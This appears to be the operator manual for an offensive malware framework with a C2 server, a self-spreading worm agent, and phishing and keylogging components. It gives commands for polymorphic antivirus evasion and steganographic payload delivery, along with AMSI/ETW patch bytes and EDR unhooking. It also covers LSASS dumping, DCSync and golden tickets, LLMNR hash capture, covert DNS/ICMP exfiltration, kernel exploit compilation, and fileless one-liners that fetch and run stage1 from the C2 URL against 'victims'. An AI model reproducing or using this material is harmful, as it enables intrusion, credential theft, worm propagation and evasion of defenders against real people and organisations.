Usage

```
# Single file
start poly ps1          # mutate a PS1 payload
start poly py           # mutate a Python payload
start poly all          # mutate all payloads in the payloads dir

# Shellcode wrapper
start poly shell        # wrap raw shellcode in PS1 decoder stub

# Watch mode — re-mutate automatically on schedule
start poly watch        # prompts for dir + interval
```

Command line:

```
python3 op/evade/poly_engine.py --lang ps1 --in payload.ps1 --out evaded.ps1 --rounds 3
python3 op/evade/poly_engine.py --lang all --dir op/payloads/ --rounds 2
python3 op/evade/poly_engine.py --watch --dir op/payloads/ --interval 300
```

Per-Request Mutation (C2)

The C2 server calls `_poly_mutate()` on **every download request**. Each time a victim's browser or agent polls `/download/worm_agent.ps1`, it receives a fresh unique file with a different hash. This defeats: - Static signature AV (different bytes every time) - Hash-based threat intel (no repeated file hash) - Sandboxing (multiple samples look like different malware)

Steganography (Stego)

What It Does

Hides a payload inside an innocent image file. The image looks completely normal to the human eye and passes casual AV file-type scanning (it is a valid PNG or JPEG). Delivery looks like sharing a photo.

PNG LSB Embedding

Embeds payload in the least-significant bits of the Red, Green, and Blue channels of every pixel. A 1200×800 image can hold approximately 450KB of payload.

```
# Embed payload into an image
python3 op/evade/stego.py --embed \
    --in op/payloads/worm_agent.ps1 \
    --auto-carrier \
    --out lure.png

# Output:
#   [+] Auto-carrier: /tmp/.wizza_carrier.png (1200x800)
#   [+] Embedded 12847 bytes into lure.png
#   [+] XOR key (save this!): abc123def456==
#   [+] Image: lure.png (1200x800)
#   [*] Generate extractor: python3 stego.py --gen-extractor ps1
        --image-url <url> --key 'abc123def456=='

# Generate PS1 extractor stub (runs on victim, no Pillow needed)
python3 op/evade/stego.py --gen-extractor ps1 \
    --image-url https://cdn.example.com/lure.png \
    --key 'abc123def456==' \
    --out extract.ps1
```

Stego Delivery Workflow

```
# 1. Embed payload into a PNG
start untrack stego
# -> generates lure.png + extract.ps1 + stage1_stego.ps1

# 2. Host the image somewhere convincing
# (C2 serves it, or upload to Imgur/GitHub/CDN)

# 3. Deliver extract.ps1 to victim
# (via macro, PDF, stage1, etc.)

# 4. Victim runs extract.ps1
# -> Downloads lure.png
# -> Extracts bits from RGB channels
# -> XOR-decrypts payload
# -> Executes fileless via [ScriptBlock]::Create().Invoke()
```

Using stage1_stego.ps1

The stego stager is a self-contained PS1 that does everything in one file:

```
# Victim runs:
powershell -w h -ep bypass -f stage1_stego.ps1
```

```
# -> Downloads image from __IMG_URL__
# -> Extracts and decrypts payload
# -> Executes worm_agent.ps1 fileless
```

Bake the image URL and key into stage1_stego.ps1 via:

```
start untrack stego    # Interactive wizard handles this
```

AV/EDR Evasion

Overview

Three tools for evading detection:

Tool	Input	Technique
`poly_engine.py`	PS1 or PY	Full mutation (3-layer cipher + CFG flattening + AMSI/ETW bypass)
`obfuscate_ps1.py`	PS1	Selective obfuscation (lighter weight)
`obfuscate_py.py`	PY	marshal + XOR + zlib

Evasion Checklist

Run the stealth audit before any engagement:

```
start untrack
```

The audit checks all 6 stealth dimensions:

1. **Payload mutation** — Every payload must pass through poly engine before deployment
2. **CDN traffic disguise** — C2 comms use cloudflare CDN headers and routes
3. **Encrypted comms** — XOR with per-agent SHA256-derived key
4. **Timestomping** — Agent file timestamps match system binaries (svchost.exe / ls)
5. **Anti-forensics** — Log wipe, history clean, self-delete on CLEAN command
6. **Process masking** — Agent process name mimics kernel thread or system process

AMSI Bypass Verification

Test AMSI bypass effectiveness on target Windows:

```
# Run on target — if AMSI is patched, this should NOT alert:
[System.Net.ServicePointManager]::SecurityProtocol =
        [System.Net.SecurityProtocolType]::Tls12
# (If this runs silently, AMSI is working but isn't triggered;
        test with known AMSI string)
```

ETW Bypass

After the `0xC3` patch to `EtwEventWrite`: - All ETW events from that process are silenced - Microsoft Defender ATP loses telemetry for that process - Sysmon events from that process are suppressed

Sysmon Evasion

Agents include multiple Sysmon evasion techniques:

1. **Startup jitter** — Random delay 3–18s before any activity (breaks event sequence correlation)
2. **Analyst bail-out** — Detect analysis tools (procmon, wireshark, x64dbg, ollydbg, processhacker, sysmon64) -> sleep 2 hours -> exit
3. **WMI process creation** — `win32_process.Create("cmd.exe /c ...")` hides PowerShell from EDR process tree
4. **CDN routes** — `/cdn-cgi/apps/*` traffic not flagged by network IDS rules written for `/agent/*`

EDR Bypass Module

What It Does

`op/modules/edr_bypass.py` provides Python/ctypes implementations of advanced Windows defense bypass and post-exploitation techniques. All operations run in-process — no dropped binaries.

Techniques

Function	Technique	Effect
`amsi_patch()`	Write `\xB8\x57\x00\x07\x80\xC3` to AmsiScanBuffer	AMSI returns CLEAN for all scans
`etw_patch()`	Write `\xC3` to EtwEventWrite	All ETW events from this process silenced
`ntdll_unhook()`	Map clean ntdll copy from `\KnownDlls\ntdll.dll`	Remove inline hooks placed by EDR
`process_hollow(target, payload)`	CreateProcess SUSPENDED + WriteProcessMemory	

Function	Technique	Effect
		Execute shellcode inside legitimate process
`reflective_dll_inject(pid, dll_bytes)`	VirtualAllocEx + WriteProcessMemory + CreateRemoteThread	Load DLL into remote process without LoadLibrary
`uac_bypass_fodhelper(cmd)`	HKCU `ms-settings\Shell\Open\command` + fodhelper.exe	Run elevated withou UAC prompt
`impersonate_system()`	OpenProcessToken(winlogon) + DuplicateToken	Impersonate SYSTEM
`lsass_dump(output_path)`	`rundll32 comsvcs.dll,MiniDump` LOLBin	LSASS memory dump for credential extraction
`wmi_persist(name, cmd)`	__EventFilter + CommandLineEventConsumer	Run on every logon event
`com_hijack(dll_path)`	HKCU MMDeviceEnumerator InprocServer32	Load DLL on next AudioEndpointBuilde query

Usage from Agent

Send via C2 panel or `start` CLI (Windows agents only):

```
AMSI_BYPASS          <- Patch AMSI
ETW_BYPASS           <- Patch ETW
NTDLL_UNHOOK         <- Remove EDR hooks
UAC_BYPASS           <- Elevate to admin
IMPERSONATE_SYSTEM   <- Get SYSTEM token
LSASS_DUMP           <- Dump creds to C2
WMI_PERSIST          <- Install WMI persistence
COM_HIJACK           <- Install COM hijack
```

Verification

```
# Verify AMSI patched (run on victim):
# This string normally triggers Defender — if AMSI is patched, no
        alert:
$x = 'Am'+'siScan'+'Buffer'
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dGVz
```

Malleable C2 Profiles

What It Does

`op/modules/c2_profiles.py` modifies the C2 server's HTTP response headers and request routing on-the-fly to mimic legitimate SaaS and CDN traffic. A network defender looking at Wireshark sees normal business application traffic, not C2 beacons.

Available Profiles

Profile	Mimics	Paths	User-Agent
`default`	Cloudflare CDN	`/cdn-cgi/apps/*`	Chrome 124
`teams`	Microsoft Teams	`/v2/conversations/*/messages`	Teams/1.0 Desktop
`slack`	Slack	`/api/conversations.history`	Slack/MacDesktop
`onedrive`	OneDrive	`/personal/sync/delta`	OneDrive-SkyAPI
`github`	GitHub API	`/repos/*/git/blobs/*`	github-actions/…
`gmail`	Gmail API	`/gmail/v1/users/me/messages`	Google-API-Java-Client
`cdn`	Generic CDN	`/static/js/*.chunk.js`	Chrome 124

Usage

```
# List profiles
start profile list

# Activate a profile (live — no C2 restart needed)
start profile set teams
start profile set slack
start profile set github

# From C2 panel:
# Settings -> C2 Profile -> select -> Apply
```

Notes

- Profile applies to **new** agent registrations; existing agents continue using their baked-in URL paths
- If your target network monitors for specific SaaS (e.g., blocks Teams), pick a different profile

- Combine with a custom domain for maximum convincingness: `teams.yourdomain.com` with Teams profile

---

DNS C2 Channel

What It Does

`op/modules/dns_c2.py` provides a covert command and control channel using DNS TXT queries and ICMP packets. Used when HTTP/HTTPS is blocked or monitored, but DNS and ICMP are allowed.

DNS TXT Channel

Commands are encoded into DNS TXT record queries via Cloudflare DoH:

```
Agent -> DNS query: TXT <base64_cmd>.c2.yourdomain.com
C2 responds with: TXT record = <base64_response>
```

Data is chunked into 63-byte DNS label segments. Each beacon cycle queries for a fresh TXT record.

ICMP Exfil Channel

File/data exfiltration via raw ICMP echo packets:

```
Agent -> ICMP echo request, payload = XOR(<data_chunk>, <xor_key>)
C2 sniffs ICMP stream -> XOR-decrypts -> reassembles file
```

Requires raw socket access on victim (`CAP_NET_RAW` or root/SYSTEM).

Configuration

```
# In c2_server.py environment:
DNS_C2_DOMAIN=c2.yourdomain.com   # Your controlled domain
DNS_C2_KEY=0xAB                     # XOR key for ICMP (1 byte)
```

Victim must be able to reach your DNS server (Cloudflare DoH proxy relays it):

```
Victim -> HTTPS://1.1.1.1/dns-query?name=<cmd>.c2.domain&type=TXT
```

When To Use

- Outbound HTTP/HTTPS is blocked by WAF or proxy
- Target allows DNS (almost universal)

- Firewall allows ICMP (common on internal networks)
- Ultra-low-bandwidth exfil of small secrets (credentials, keys)

LLMNR / NBT-NS Poisoner

What It Does

`op/modules/llmnr_poison.py` listens for Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) broadcast queries. When a Windows host can't resolve a name via DNS, it falls back to broadcasting LLMNR/NBT-NS — WiZZA responds with the attacker's IP, causing the victim to attempt NTLMv2 authentication. The NTLMv2 hash is captured and saved in hashcat format.

Attack Flow

```
Victim types \\FILESERVER in Explorer (doesn't exist)
  -> DNS fails
  -> LLMNR broadcast: "Who is FILESERVER?"
  -> WiZZA: "I am FILESERVER, I'm at <attacker_ip>"
  -> Victim connects to attacker's SMB server
  -> Sends NTLMv2 challenge response
  -> WiZZA captures the NTLMv2 hash
  -> Crack offline: hashcat -m 5600 hashes.txt rockyou.txt
```

Quick Start

```
# Start the poisoner
start llmnr start

# Watch captured hashes live
start llmnr hashes

# Stop
start llmnr stop
```

Or via C2 panel: **LLMNR/NBT-NS** sidebar button.

Captured Hash Format

Hashes are captured in hashcat NTLMv2 format (`-m 5600`):

```
ALICE::CORP:1122334455667788:a3f6c1...d9e2:0101000000000000...
```

Crack with:

```
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/
        rockyou.txt
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/
        rockyou.txt --rules-file best64.rule
```

Requirements

- Run as root (ports 137, 445, 5355 are privileged)
- Must be on the same local subnet as victims (layer-2 adjacency)
- Windows hosts with LLMNR/NBT-NS enabled (default on all Windows versions)

Notes

- Works on all unpatched Windows versions (XP through Server 2022 by default)
- Can be mitigated by GPO: disable LLMNR (`Computer Configuration -> Administrative Templates -> DNS Client -> Turn off multicast name resolution`)
- Combine with Responder for full WPAD/LDAP/FTP/HTTP capture

Redirectors and Domain Fronting

What It Does

`op/modules/redirector.py` generates server configuration files for Apache, Nginx, and Caddy that act as a traffic redirector in front of your C2. Only valid beacon requests are forwarded; everything else gets a 302 to a decoy (legitimate) website. This protects the real C2 IP from discovery.

```
Internet  ->  Redirector VPS  ->  Real C2
                    |
                    v (invalid requests)
               decoy website
```

Apache Redirector

```
start redirector apache
# Prompts: C2 host:port, beacon path(s), decoy URL
# Output: /tmp/wizza_redirector.conf
```

Generated config (abbreviated):

```
RewriteEngine On
RewriteCond %{REQUEST_URI} !^/cdn-cgi/apps/
```

```
RewriteRule ^(.*)$ https://microsoft.com/ [R=302,L]
RewriteRule ^/cdn-cgi/apps/(.*)$ https://c2.internal:8888/cdn-cgi/
        apps/$1 [P,L]
```

Nginx Redirector

```
start redirector nginx
# Output: /tmp/wizza_nginx.conf

location ~ ^/cdn-cgi/apps/ {
    proxy_pass https://c2.internal:8888;
    proxy_set_header Host $host;
}
location / {
    return 302 https://microsoft.com/;
}
```

Caddy Redirector

```
start redirector caddy
# Output: /tmp/Caddyfile
# Caddy auto-provisions Let's Encrypt TLS
```

Socat TCP Forwarder

Quick low-footprint redirector using socat:

```
start redirector socat
# Prints the socat command to run on redirector VPS:
socat TCP-LISTEN:443,fork,reuseaddr TCP:c2.internal:8888
```

Domain Fronting

Domain fronting routes C2 traffic through a CDN (Cloudflare, Fastly, Azure Front Door) so it appears to come from a trusted CDN domain:

```
Victim -> https://cloudflare.com/cdn-cgi/apps/sync (Host: your-
worker.pages.dev)
                    -> Cloudflare routes to your backend
```

WiZZA's default CDN traffic disguise is already compatible with Cloudflare domain fronting when you have a Workers/Pages site. See `op/modules/redirector.py` → `domain_fronting_guide()` for provider-specific instructions.

PTY Interactive Shell

What It Does

Gives you a full interactive terminal (not just one-shot command execution) on any agent. Uses `pty.openpty()` on Linux/Mac or `conpty`/subprocess on Windows. Terminal output streams to your browser via Server-Sent Events (SSE) and keystrokes go back via POST.

Architecture

```
Browser xterm.js  <-- SSE /pty/<aid>/stream  ←-- C2 ←-- HTTP POST
← agent PTY output
Browser xterm.js  --► POST /pty/<aid>/input  --► C2 --► HTTP poll
→ agent PTY stdin
```

Usage

From C2 panel: Click **Shell** button next to any agent.

Direct URL:

```
https://localhost:8888/pty/<agent_id>/term
```

From start CLI:

```
start netmap    # Open network map -> click agent -> Shell button
```

Agent command:

```
PTY_START       <- Spawn PTY shell
PTY_STOP        <- Kill PTY shell
```

Features

- Full color terminal with xterm.js (256-color + Unicode)
- Ctrl+C, Ctrl+Z, Ctrl+D key injection buttons
- Terminal resize propagated to agent PTY (SIGWINCH)
- 5000-line scrollback buffer
- Kill PTY button with confirmation

Notes

- PTY works on Linux/Mac agents; Windows uses `cmd.exe` subprocess
- SSE stream uses base64 encoding of raw PTY bytes (handles ANSI escapes cleanly)

- Browser tab can be closed and reopened — session stays alive until `PTY_STOP`

SOCKS5 Proxy Pivoting

What It Does

`op/c2/proxy_socks.py` turns any agent into a SOCKS5 proxy, routing your tool traffic through the agent's network without a dedicated VPN or second C2 hop. The agent polls the C2 for pending connections, establishes TCP to targets, and relays data bidirectionally.

Architecture

```
Your tool  ->  SOCKS5 :1080  ->  C2 relay  ->  HTTP poll  ->
Agent  ->  Target host
```

Quick Start

Step 1 — Start proxy relay in agent:

```
PROXY_START   <- Send from C2 panel to agent
```

Step 2 — Use proxy from your tools:

```
# With proxychains (edit /etc/proxychains4.conf):
socks5 127.0.0.1 1080
proxychains nmap -sT -p 80,443,22,3389 10.0.1.0/24
proxychains crackmapexec smb 10.0.1.0/24 -u admin -p 'Password1'

# With curl:
curl --socks5 localhost:1080 http://10.0.1.50/

# With metasploit:
setg Proxies socks5:127.0.0.1:1080
```

Stop:

```
PROXY_STOP    <- Send from C2 panel
```

View Active Tunnels

```
https://localhost:8888/proxy/<agent_id>/sessions
```

Or C2 panel → **Proxy Sessions** tab.

Notes

- SOCKS5 server binds to `127.0.0.1:1080` (operator machine only — not exposed externally)
- Supports TCP (CONNECT method); UDP associate not implemented
- Throughput is limited by C2 HTTP polling interval (typically 1–5 s); suitable for recon but not bulk transfers
- Run multiple agents for multi-hop routing: `proxychains proxychains ...`

Active Directory Attacks

What It Does

`op/modules/ad_attacks.py` wraps Impacket, ldap3, and BloodHound tooling into a unified interface callable from the C2 panel or CLI. Provides the full attack chain from domain enumeration through credential extraction and lateral movement.

Prerequisites

```bash
pip install impacket ldap3 bloodhound
# or:
sudo apt-get install python3-impacket bloodhound
```

Attack Techniques

Domain Enumeration

```
AD_ENUM <dc_ip> <domain> <user> <pass>
# or: AD_ENUM 10.0.0.1 corp.local admin Password1
```

Collects via LDAP: - All users (enabled/disabled, last logon, password last set) - All groups and memberships - All computers with OS version - Domain trusts - Domain password policy

Kerberoasting

```
KERBEROAST <dc_ip> <domain> <user> <pass>
```

Requests TGS tickets for all SPN accounts. Outputs hashes in hashcat `-m 13100` format:

```bash
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt
```

AS-REP Roasting

```
AS_REP_ROAST <dc_ip> <domain> <users_file>
```

Targets accounts with “Do not require Kerberos preauthentication” set. Outputs hashcat `-m 18200` format:

```
hashcat -m 18200 asrep_hashes.txt rockyou.txt
```

DCSync

```
DCSYNC <dc_ip> <domain> <user> <pass>
DCSYNC <dc_ip> <domain> <user> <pass> Administrator
```

Uses MS-DRSR replication protocol (secretsdump.py) to replicate domain password database without running code on the DC:

```
[+]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae93
[+] krbtgt:502:...:<NT_HASH>:::
```

Requires: DA group membership or Replicating Directory Changes All rights.

Pass the Hash

```
PASS_THE_HASH <target> <domain> <user> <nt_hash> [cmd]
```

Uses wmiexec/psexec/smbexec to authenticate with NTLM hash directly (no password needed):

```
PASS_THE_HASH 10.0.0.20 corp.local Administrator
31d6cfe0d16ae931b73c59d7e0c089c0 whoami
```

Golden Ticket

```
GOLDEN_TICKET <domain> <domain_sid> <krbtgt_hash> [username]
```

Forges a Kerberos TGT valid for any user (including domain admins) using the krbtgt NTLM hash:

```
GOLDEN_TICKET corp.local S-1-5-21-... aabbccdd...ff Administrator
# Outputs: golden.ccache  <- Import: export
KRB5CCNAME=golden.ccache
```

BloodHound Collection

```
BLOODHOUND <dc_ip> <domain> <user> <pass>
```

Runs bloodhound-python collector (all methods: ACL, group, LocalAdmin, RDP, DCOM, session, trusts, ObjectProps). Uploads JSON zip to C2 loot. Open in BloodHound GUI for attack path analysis.

Full Attack Chain Example

```
# 1. Enumerate domain
AD_ENUM 10.0.0.1 corp.local jsmith Password1

# 2. Kerberoast service accounts
KERBEROAST 10.0.0.1 corp.local jsmith Password1
# -> crack hash -> serviceacct:Welc0me1

# 3. Use service account for DCSync
DCSYNC 10.0.0.1 corp.local serviceacct Welc0me1

# 4. Pass-the-hash as Domain Admin
PASS_THE_HASH 10.0.0.1 corp.local Administrator <da_nt_hash>
        cmd.exe

# 5. Forge Golden Ticket for persistence
GOLDEN_TICKET corp.local S-1-5-21-... <krbtgt_hash>
```

Network Map

What It Does

`op/c2/static/netmap.html` provides a real-time force-directed visualization of all C2 agents, their relationships (which agent spread to which), and their status. No external libraries required — pure vanilla JavaScript physics simulation.

Access

```
https://localhost:8888/netmap
```

Or: `start netmap` (opens in default browser)

Features

- **Nodes**: C2 server (circle), worm agents (diamond), simple agents (circle)
- **Colors**: Green = online, grey = offline, red = critical priv, orange = high, yellow = medium
- **Edges**: Cyan = C2→agent link, pink dashed = spread log (worm infection path)

- **Glow effects**: Online nodes have animated glow
- **Click node**: Opens info panel with agent details (OS, user, hostname, privilege, last seen)
- **Info panel buttons**: Screenshot, Shell, Recon, Selfdestruct
- **Zoom/pan**: Scroll to zoom, drag background to pan
- **Drag nodes**: Reposition individual nodes
- **Layout toggle**: Force-directed (organic) vs. radial (tree)
- **SVG export**: Download as vector image for reports
- **Auto-refresh**: Polls `/agents/json` every 10s

Stats Bar

Top bar shows live counts:

```
Hosts: 12   Online: 7   Worms: 3
```

Auto Report Generator

What It Does

`op/modules/report_gen.py` generates a professional pentest report from live C2 agent data in HTML, JSON, or CSV format. The HTML report includes an executive summary, findings table with severity ratings, captured credentials, loot inventory, and remediation recommendations.

Usage

```
# From CLI:
start report html           # Full styled HTML report
start report json           # Machine-readable JSON
start report csv            # Spreadsheet CSV

# Direct URL (while C2 running):
https://localhost:8888/report?fmt=html
https://localhost:8888/report?fmt=json
https://localhost:8888/report?fmt=csv
```

HTML Report Contents

Section	Content
Executive Summary	Total hosts, critical/high/medium counts, assessment dates
Compromised Hosts	Table: hostname, OS, user, privilege, severity, last seen

Section	Content
Captured Credentials	All browser passwords, NTLM hashes, SSH keys
Loot	List of exfiltrated files (screenshots, documents, dumps)
Command Output	Agent command results log
Recommendations	Severity-based remediation guidance

Severity Heuristics

Severity	Criteria
CRITICAL	Agent running as SYSTEM, root, or Administrator
HIGH	Domain user with admin group membership
MEDIUM	Standard user, server OS
LOW	Standard user, workstation

Output Example

```
start report html
# -> /tmp/wizza_report_20260419_1432.html
#    Open in browser for professional HTML report
#    Print to PDF for delivery
```

Troubleshooting

C2 Server Won't Start

Symptom: `start payload` reports "C2 failed — check logs/c2.log"

Check:

```
# Port already in use?
ss -tlnp | grep :8888

# Kill whatever is using it:
sudo fuser -k 8888/tcp

# Check C2 log for errors:
cat ~/.wizza/logs/c2.log | tail -50
```

```
# Restart:
c2 restart
```

Common causes: - Previous C2 instance still running: `pkill -f c2_server.py` - Python import error (missing module): `python3 op/c2/c2_server.py` and check traceback - Port 8888 blocked by firewall: `sudo ufw allow 8888`

Tunnel URL Not Appearing

Symptom: `start payload` hangs at "Waiting for tunnel URL…"

Check:

```
cat ~/.wizza/logs/tunnel.log | tail -30
```

Common causes:

Cause	Fix
`cloudflared` not installed	`wget <cloudflared_url> && dpkg -i cloudflared.deb`
Network blocked port 7844 (QUIC)	Add `protocol: http2` to `/tmp/cf_quick.yml`
Rate-limited by Cloudflare	Wait 5 minutes, try again
Corporate firewall blocks tunnel	Use `--protocol h2mux` or custom domain

Agent Not Registering

Symptom: Payload runs on victim but no agent appears in C2 panel

Check on victim:

```
# Python agent:
python3 worm_agent.py  # Run directly and watch output
```

Check on operator:

```
# Does C2 receive connections?
tail -f ~/.wizza/logs/c2.log | grep -i register

# Is tunnel receiving traffic?
tail -f ~/.wizza/logs/tunnel.log
```

Common causes:

Cause	Fix
Wrong C2 URL baked	Re-run `start payload` — URL changes each session
Antivirus blocked execution	Use `start poly` to remutate, deliver fresh copy
SSL certificate error	Check `[Net.ServicePointManager]::ServerCertificateValidationCallback={$true` PS1
Firewall blocking outbound	Try port 443 (change `C2_PORT=443` and use TLS)
Agent running but silent	Wait — startup jitter can delay first beacon up to 18s

---

Polymorphic Engine Errors

Symptom: `start poly ps1` produces an error

```
# Test directly:
python3 op/evade/poly_engine.py --lang ps1 --in test.ps1 --out
        test_out.ps1 --rounds 1
```

Common causes:

Error	Fix
`ImportError: No module named 'poly_engine'`	Run from `/home/heilige/Keylogger/`: `cd /home/heilige/Keylogger`
`UnicodeDecodeError`	Input file may have binary content — use `--lang shellcode` for hex input
Empty output	Input PS1 may be empty or single-line — add a newline at end

---

Steganography Fails

Symptom: `stego.py --embed` fails or `--extract` returns wrong data

```
# Check Pillow is installed:
python3 -c "from PIL import Image; print('Pillow OK')"

# Install if missing:
pip install Pillow
```

Common causes:

Symptom	Cause	Fix
`Payload X B > capacity Y B`	Image too small	Use `--auto-carrier` or provide larger carrier
`ValueError: Invalid length`	Extracting without correct key	Save the key from `--embed` output
Key mismatch	Copy-paste error in key	Key is base64 — check for truncation or spaces
Wrong image	Extracting from different image	Use exact image that was embedded into

---

Kernel Exploit Fails to Compile

Symptom: `gcc` errors during `start kernel exploit`

```
# For DirtyCow:
gcc -o dirtycow op/kernel/exploits/dirty_cow.c -pthread -ldl
# Error: pthread.h not found
sudo apt-get install libc6-dev

# For PwnKit:
# Needs separate shared library compile step
gcc -shared -fPIC -o lol.so op/kernel/exploits/pwnkit.c
        -DPAYLOAD_ONLY
gcc -o pwnkit_trigger op/kernel/exploits/pwnkit.c
```

For CVE-2023-0386 (OverlayFS2 — requires FUSE):

```
sudo apt-get install libfuse3-dev fuse3
gcc -o overlayfs2 op/kernel/exploits/overlayfs2.c -lfuse3
        -D_FILE_OFFSET_BITS=64
```

MitM Proxy Not Capturing Traffic

Symptom: Victim traffic not appearing in keystrokes.txt

Check:

```
# Is proxy listening?
ss -tlnp | grep :8080

# Is IP forwarding enabled?
cat /proc/sys/net/ipv4/ip_forward   # Should be 1

# Are iptables rules active?
sudo iptables -t nat -L PREROUTING -n -v
# Should show REDIRECT rules for :80 and :443

# ARP poison status?
ps aux | grep arpspoof
```

HTTPS issue: Even with the proxy active, HTTPS traffic shows as encrypted if victim hasn't installed the WiZZA CA cert. Without the iOS MDM profile (or manually trusting the cert), browser HTTPS is intercepted but shows certificate warning to victim. Most modern browsers will block this.

Mobile APK Not Installing

Common causes:

Cause	Fix
`Unknown sources` disabled	Victim must enable: Settings -> Security -> Unknown Sources
Play Protect blocking	Victim: Play Store -> Menu -> Play Protect -> Turn off (if possible)
APK not signed	Rebuild with debug signing key: `jarsigner -keystore debug.keystore`
msfvenom not installed	`sudo apt-get install metasploit-framework`

Common Error Messages

Error	Meaning	Fix
`Address already in use`	Port busy	`fuser -k <port>/tcp`
`No route to host`	Network not reachable	Check victim's network connectivity
`SSL: CERTIFICATE_VERIFY_FAILED`	TLS cert not trusted	Add `verify=False` or install CA cert
`Permission denied`	Running without root	`sudo start <command>`
`cloudflared: command not found`	cloudflared not installed	Install from Cloudflare GitHub
`Pillow: ImportError`	PIL not installed	`pip install Pillow`
`msfvenom: command not found`	Metasploit not installed	Use NASM or PS1 fallback
`bash: syntax error`	Shell script error	Run `bash -n start` to identify line

Quick Reference Card

Essential Commands

```
# Start everything (interactive wizard)
start

# BitB phishing
start up

# MitM keylogger
start mitm

# C2 + agent deployment
start payload

# Watch credentials live
start creds

# Kill everything
```

```
start down

# Status check
start status

# LLMNR/NBT-NS credential capture
start llmnr start

# Real-time network map
start netmap

# Generate pentest report
start report html

# Set malleable C2 profile
start profile set teams

# Generate redirector config
start redirector apache
```

Payload Delivery One-Liners

```
# Windows — PowerShell fileless load:
powershell -w h -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString('$C2URL/download/stage1.ps1'))"

# Windows — Run HTA directly:
mshta.exe "$C2URL/download/SecureCertUpdate.hta"

# Linux/Mac — Python fileless load:
curl -s "$C2URL/download/stage1.py" | python3

# Linux/Mac — With SSL bypass:
python3 -c "import urllib.request,ssl; ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE; exec(urllib.request.urlopen(urllib.request.Request('$C2URL/download/stage1.py'),context=ctx).read())"
```

Shellcode Quick Reference

```
# Generate (msfvenom)
python3 op/payloads/shellcode/gen_shellcode.py --lhost 10.0.0.1 --lport 4444 --format hex

# Poly-wrap shellcode
start poly shell

# Generate + poly-wrap + deliver
```

```
start shellcode gen     # -> hex
start shellcode poly    # -> PS1 runner
```

Poly Engine Quick Reference

```
start poly ps1          # Mutate a PS1 file
start poly py           # Mutate a Python file
start poly all          # Mutate all payloads
start poly shell        # Wrap shellcode hex
start poly watch        # Auto-remutate on schedule
```

Kernel Exploit Quick Reference

```
start kernel check      # Scan for vulns
start kernel exploit    # Interactive compile + deploy

# Manual compile (from op/kernel/exploits/):
gcc -o dirtycow dirty_cow.c -pthread -ldl        # CVE-2016-5195
gcc -o dirtypipe dirty_pipe.c                    # CVE-2022-0847
gcc -o pwnkit_trigger pwnkit.c && \
  gcc -shared -fPIC -o lol.so pwnkit.c -DPAYLOAD_ONLY  # CVE-2021-4034
```

New Module Quick Reference

```
# EDR bypass (send to Windows agent)
AMSI_BYPASS          # Patch AMSI
ETW_BYPASS           # Patch ETW
NTDLL_UNHOOK         # Remove EDR hooks
UAC_BYPASS           # Elevate to admin
LSASS_DUMP           # Dump creds

# Active Directory
AD_ENUM <dc> <domain> <user> <pass>
KERBEROAST <dc> <domain> <user> <pass>
DCSYNC <dc> <domain> <user> <pass>
PASS_THE_HASH <target> <domain> <user> <hash>
BLOODHOUND <dc> <domain> <user> <pass>

# PTY shell
PTY_START            # Spawn interactive shell
# -> https://localhost:8888/pty/<aid>/term

# SOCKS5 proxy
PROXY_START          # Start pivot relay
# -> proxychains [tool] ...

# LLMNR capture
```

```
start llmnr start
start llmnr hashes
hashcat -m 5600 hashes.txt rockyou.txt
```

Port Reference

Port	Service
:8888	C2 server (HTTP/HTTPS + web panel)
:8082	BitB phishing catcher
:8080	MitM proxy (mitmproxy)
:8083	MitM reverse proxy tunnel
:9999	Keystroke catcher
:1080	SOCKS5 proxy pivot
:137	NBT-NS poisoner
:445	Fake SMB (NTLMv2 capture)
:5355	LLMNR poisoner
:4444	Default shellcode listener (msfvenom)

File Locations

File	Purpose
`~/.wizza_config`	Persistent settings
`~/.wizza/logs/credentials.txt`	All captured credentials
`~/.wizza/logs/keystrokes.txt`	MitM keylogger output
`~/.wizza/logs/c2.log`	C2 server log
`~/.wizza/payloads/`	Baked payload files
`~/.wizza/logs/loot/`	Screenshots, webcam frames, exfil

Appendices

Appendix A — Kernel CVE Summary

CVE	Common Name	Affected Versions	CVSS	Reliability
CVE-2016-5195	DirtyCow		7.8	High

CVE	Common Name	Affected Versions	CVSS	Reliability
		Linux 2.6.22–4.8.3		
CVE-2022-0847	DirtyPipe	Linux 5.8–5.16.11	7.8	High
CVE-2021-3493	OverlayFS	Ubuntu 5.0–5.10	7.8	High (Ubuntu)
CVE-2023-0386	OverlayFS FUSE	Linux 5.11–6.2	7.8	Medium
CVE-2021-4034	PwnKit	All (polkit < 0.120)	7.8	High
CVE-2024-1086	nftables UAF	Linux 5.14–6.6	7.8	Medium
CVE-2021-22555	Netfilter OOB	Linux 2.6.19–5.12	7.8	Medium
CVE-2022-2588	cls_route UAF	Linux 4.9–5.18	7.8	Medium

Appendix B — Agent Command Summary

Recon: RECON, SYSINFO, NETWORK, DRIVES

Capture: SCREENSHOT, WEBCAM, CLIPBOARD, KEYLOG_START, KEYLOG_DUMP

Harvest: BROWSERS, HASHDUMP, SSHKEYS, EXFIL, GETFILE <path>

Post-Exploit: PERSIST, PRIVESC, CLEAN, SELFDESTRUCT

Spread: NET_SCAN, SSH_TARGETS, SSH_SPRAY, SMB_SCAN, GIT_POISON, EMAIL_SPREAD, DOCKER_ESCAPE

Worm Control: WORM_STATUS, WORM_PAUSE, WORM_RESUME, WORM_SPREAD_NOW, WORM_SET_C2 <url>, WORM_SKIP <host>, WORM_USB_ON/OFF, WORM_SSH_ON/OFF, WORM_SET_INTERVAL <n>

Windows: INJECT <b64_shellcode>, RUN_PS <code>

EDR/Evasion (Windows): AMSI_BYPASS, ETW_BYPASS, NTDLL_UNHOOK, UAC_BYPASS, IMPERSONATE_SYSTEM, LSASS_DUMP, WMI_PERSIST, COM_HIJACK

Active Directory: AD_ENUM <dc> <domain> <user> <pass>, KERBEROAST <dc> <domain> <user> <pass>, AS_REP_ROAST <dc> <domain> <users_file>, DCSYNC <dc> <domain> <user> <pass> [target], `BLOODHOUND <dc> <domain> <user> <pass>`, `PASS_THE_HASH <target> <domain> <user> <hash> [cmd]`, `GOLDEN_TICKET <domain> <sid> <krbtgt_hash> [user]`

